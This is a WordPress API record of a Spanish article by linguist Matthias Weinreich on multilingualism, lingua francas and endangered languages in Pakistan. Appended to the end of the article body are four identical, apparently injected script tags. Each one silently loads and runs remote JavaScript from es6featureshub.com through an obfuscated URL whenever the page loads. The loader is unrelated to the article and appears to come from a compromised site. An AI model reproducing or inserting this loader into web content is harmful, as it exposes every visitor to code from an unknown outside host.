{"id":66851,"date":"2015-09-05T02:39:09","date_gmt":"2015-09-05T00:39:09","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66851"},"modified":"2025-10-21T21:57:41","modified_gmt":"2025-10-21T19:57:41","slug":"el-multilinguismo-una-practica-generalizada-en-pakistan","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/","title":{"rendered":"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Matthias Weinreich el April 18, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por el ling\u00fcista Matthias Weinreich, autor de <a href=\"http:\/\/www.fli-online.org\/documents\/languages\/domaaki\/language_shift.pdf\" target=\"_blank\">\u00ab Language Shift in Northern Pakistan. The Case of Domaak\u00ed and Pashto. \u00bb<\/a><\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Nord Pakistan\" src=\"\/wp-content\/uploads\/72120410.jpg\" alt=\"Nord Pakistan\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Norte del Pakist\u00e1n &#8211; Foto : bogavanterojo (cc)<\/p><\/div><\/p>\n<p><strong>\u00bfPero los pakistan\u00edes no hablan todos el urdu?<\/strong><\/p>\n<p>Si, una gran mayor\u00eda, claro est\u00e1. Y eso no tiene nada de sorprendente, ya que  el urdu sirve como medio de educaci\u00f3n y de lengua de comunicaci\u00f3n inter-\u00e9tnica en todo el pa\u00eds. El urdu goza adem\u00e1s de un extraordinario prestigio en el plano oficial: es una de las dos lenguas que figuran claramente en la constituci\u00f3n de 1973 (la otra es el ingl\u00e9s, principalmente hablado en  el seno de la \u00e9lite urbana) y es un s\u00edmbolo clave de la unidad nacional pakistan\u00ed.<\/p>\n<p>Pero no hay que olvidar que el urdu es, y siempre fue s\u00f3lo la lengua materna de una minor\u00eda de la poblaci\u00f3n (cerca del 8 % hoy). Los otros (m\u00e1s de 150 millones de personas) hablan de otras lenguas maternas.<br \/>\n&nbsp;<br \/>\n<strong>\u00bfCon cu\u00e1ntas lenguas distintas cuenta el pa\u00eds?<\/strong><\/p>\n<p>Dif\u00edcil de decir, ya que una respuesta precisa implicar\u00eda por supuesto hacer la distinci\u00f3n entre lengua y dialecto, una tarea generalmente muy delicada. Por ejemplo, el potwari, el siraiki, el hindko\u2026todos los elementos del continuum dialectal penyab\u00ed que domina el oeste y el centro de Pakist\u00e1n pueden ser considerados, seg\u00fan los criterios, ya sea como las variantes de la misma lengua vern\u00e1cula (el penyab\u00ed), o como tres lenguas completamente distintas.<\/p>\n<p>Sea lo que sea, el n\u00famero de lenguas maternas en Pakist\u00e1n evoluciona, tirando por lo bajo, alrededor de unas sesenta. A la imagen de la historia larga y animada de la regi\u00f3n, estas lenguas forman una gran variedad de familias y de grupos ling\u00fc\u00edsticos, relacionados esencialmente con las lenguas indo-arias e iran\u00edes. Entre \u00e9stas figuran tambi\u00e9n algunas lenguas dr\u00e1vidas (el brahui, en la regi\u00f3n central de Beluchist\u00e1n), sino tibetanas (el balti, en el este de Gilgit-Baltist\u00e1n,), e incluso una lengua aislada (el burushaski, en los valles del norte alrededor de Nager, Hunza y Yasin).<\/p>\n<p>El n\u00famero de locutores para cada una de estas lenguas var\u00eda de m\u00e1s de 50 millones en el caso de penyab\u00ed, por menos de 250 para el aer (Sindh) y el gowro (Gilgit-Baltist\u00e1n).<br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Matthias Weinreich in Pakistan\" src=\"\/wp-content\/uploads\/delogu_01-s.jpg\" alt=\"Matthias Weinreich in Pakistan\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Matthias Weinreich en Pakist\u00e1n &#8211; Foto : Silvia Delogu<\/p><\/div><\/p>\n<p><strong>\u00bfEst\u00e1n en grave peligro algunas de estas lenguas?<\/strong><\/p>\n<p>No menos de cuatro lenguas est\u00e1n en peligro de extinci\u00f3n al menos en la parte norte del pa\u00eds: el gowro, el badeshi, el  ushojo y el domaak\u00ed.<\/p>\n<p>Carecemos de datos socioling\u00fc\u00edsticos sobre la regi\u00f3n, pero en el caso de domaak\u00ed (lengua de los D\u00f3oma, una comunidad de herreros y de m\u00fasicos tradicionales de Gilgit-Baltist\u00e1n), el multiling\u00fcismo de algunos \u00faltimos locutores (menos de 250, la inmensa mayor\u00eda de edad avanzada) est\u00e1 acompa\u00f1ado de una actitud ling\u00fc\u00edstica particularmente negativa: Una combinaci\u00f3n poco propicia que deja suponer que la lengua materna de los D\u00f3oma habr\u00e1 probablemente dejado de existir como lengua viva de aqu\u00ed a una a dos generaciones.<br \/>\n&nbsp;<br \/>\n<strong>\u00bfExisten otras lenguas de comunicaci\u00f3n inter \u00e9tnica fuera del urdu?<\/strong><\/p>\n<p>Si, de hecho hay muchas. Incluso si el urdu es hablado y escrito en todo el pa\u00eds, las provincias federales de Pakist\u00e1n tienen cada una su propia lengua mayoritaria:<\/p>\n<p>&#8211; el Past\u00fan sirve de lengua vehicular en todo Khyber Pakhtunkhwa, salvo en el norte, dominado por el khowar.<\/p>\n<p>&#8211; la lengua de Punjab es el penyab\u00ed, con su variante hindko utilizada como lengua vehicular cerca de la frontera norte con el Khyber Pakhtunkhwa, y sus variantes multani y siraiki al suroeste, cerca de Sindh y de Beluchist\u00e1n.<\/p>\n<p>&#8211; La lengua mayoritaria de la provincia de Sindh es el sindh\u00ee, aunque est\u00e9 en retraso frente al urdu en la megal\u00f3polis de Karachi, y progresivamente cede el lugar al siraiki en el norte<\/p>\n<p>&#8211; en Beluchist\u00e1n, la mayor\u00eda de la poblaci\u00f3n habla el baluchi, excepto a lo largo de la frontera con Afganist\u00e1n y Khyber Pakhtunkhwa, donde el principal medio inter\u00e9tnico es el past\u00fan.<\/p>\n<p>As\u00ed como se puede esperarlo, es en las zonas donde cohabitan por lo menos dos lenguas regionales que el multiling\u00fcismo es m\u00e1s frecuente. Por ejemplo, los locutores siraiki y sindhi que viven de una y otra parte de la demarcaci\u00f3n administrativa entre Sindh y Penjab hablan a menudo ambas lenguas fluidamente.<\/p>\n<p>Lo mismo, locutores pastunes que viven en el distrito de Hazara (zona sudeste de Khyber Pakhtunkhwa) generalmente sabr\u00e1n expresarse en hindko, y a la inversa, numerosos Hindkowals de la regi\u00f3n dominar\u00e1n el past\u00fan.<br \/>\n&nbsp;<br \/>\n<strong>\u00a1Puras lenguas regionales! \u00bfDeber\u00edamos deducir que todos los pakistan\u00edes son al menos biling\u00fces?<\/strong><\/p>\n<p>En un sentido, s\u00ed. Pero estas lenguas no son totalmente dominadas al mismo nivel. En general el aprendizaje de una nueva lengua est\u00e1 motivado por consideraciones pr\u00e1cticas. Por consiguiente, los hombres paquistan\u00edes que trabajan fuera de casa tendr\u00e1n m\u00e1s posibilidades de dominar la lengua vehicular regional que las mujeres, que se supone se quedan en su casa.<\/p>\n<p>Un vendedor de bazar hablar\u00e1 posiblemente varias lenguas a un nivel que le permita negociar con sus clientes, siendo incapaz de utilizar estas lenguas en otros contextos. El multiling\u00fcismo est\u00e1 muy vinculado con el universo profesional, sobre todo para los locutores de lenguas minoritarias y poco difundidas (es decir las lenguas diferentes al urdu, penyab\u00ed, past\u00fan, el sindhi y el baluchi)<\/p>\n<p>Un ejemplo: hombres como mujeres, los locutores nativos de la lengua domaak\u00ed evocada m\u00e1s arriba casi hablan casi todos perfectamente burushaski y\\o shina, lenguas de sus comunidades de llegada.<\/p>\n<p>Por otro lado, todos los hombres d\u00f3oma as\u00ed como ciertas mujeres hablan (y si han sido escolarizados, escriben) el urdu, la principal lengua vehicular de la regi\u00f3n. Utilizamos pues domaak\u00ed en familia, el burushaski \/ shina en el pueblo y el urdu con los extranjeros o al escrito.<\/p>\n<p>Este ejemplo muestra que el dominio de tres o cuatro lenguas no tiene nada de excepcional para los representantes de grupos ling\u00fc\u00edstica minoritarios (cerca del 5 % de la poblaci\u00f3n paquistan\u00ed). Otros paquistan\u00edes, en su inmensa mayor\u00eda, hablan por lo menos dos.<br \/>\n&nbsp;<br \/>\n\u25ca<br \/>\nReferencia bibliogr\u00e1fica: Matthias Weinreich, <a href=\"http:\/\/oup.com.pk\/\" target=\"_blank\">Pashtun Migrants in the Northern Areas of Pakistan<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Matthias Weinreich el April 18, 2011 &nbsp; Por el ling\u00fcista Matthias Weinreich, autor de \u00ab Language Shift in Northern Pakistan. The Case of Domaak\u00ed and Pashto. \u00bb \u00bfPero los pakistan\u00edes no hablan todos el urdu? Si, una gran mayor\u00eda, claro est\u00e1. Y eso no tiene nada de sorprendente, ya que el urdu sirve [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-66851","post","type-post","status-publish","format-standard","hentry","category-otro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Publicado por Matthias Weinreich el April 18, 2011 &nbsp; Por el ling\u00fcista Matthias Weinreich, autor de \u00ab Language Shift in Northern Pakistan. The Case of Domaak\u00ed and Pashto. \u00bb \u00bfPero los pakistan\u00edes no hablan todos el urdu? Si, una gran mayor\u00eda, claro est\u00e1. Y eso no tiene nada de sorprendente, ya que el urdu sirve [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2015-09-05T00:39:09+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:57:41+00:00\" \/>\n<meta name=\"author\" content=\"Sorosoro\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sorosoro\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\"},\"author\":{\"name\":\"Sorosoro\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"headline\":\"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n\",\"datePublished\":\"2015-09-05T00:39:09+00:00\",\"dateModified\":\"2025-10-21T19:57:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\"},\"wordCount\":1106,\"articleSection\":[\"Otro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\",\"name\":\"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2015-09-05T00:39:09+00:00\",\"dateModified\":\"2025-10-21T19:57:41+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917\",\"name\":\"Sorosoro\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/","og_locale":"es_ES","og_type":"article","og_title":"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n - Sorosoro","og_description":"Publicado por Matthias Weinreich el April 18, 2011 &nbsp; Por el ling\u00fcista Matthias Weinreich, autor de \u00ab Language Shift in Northern Pakistan. The Case of Domaak\u00ed and Pashto. \u00bb \u00bfPero los pakistan\u00edes no hablan todos el urdu? Si, una gran mayor\u00eda, claro est\u00e1. Y eso no tiene nada de sorprendente, ya que el urdu sirve [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/","og_site_name":"Sorosoro","article_published_time":"2015-09-05T00:39:09+00:00","article_modified_time":"2025-10-21T19:57:41+00:00","author":"Sorosoro","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Sorosoro","Tiempo de lectura":"5 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/"},"author":{"name":"Sorosoro","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"headline":"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n","datePublished":"2015-09-05T00:39:09+00:00","dateModified":"2025-10-21T19:57:41+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/"},"wordCount":1106,"articleSection":["Otro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/","url":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/","name":"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2015-09-05T00:39:09+00:00","dateModified":"2025-10-21T19:57:41+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2015\/09\/el-multilinguismo-una-practica-generalizada-en-pakistan\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"El multiling\u00fcismo: una pr\u00e1ctica generalizada en Pakist\u00e1n"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/a457def540d2d426a1f19547404f1917","name":"Sorosoro","url":"https:\/\/www.sorosoro.org\/es\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66851","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=66851"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/66851\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=66851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=66851"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=66851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}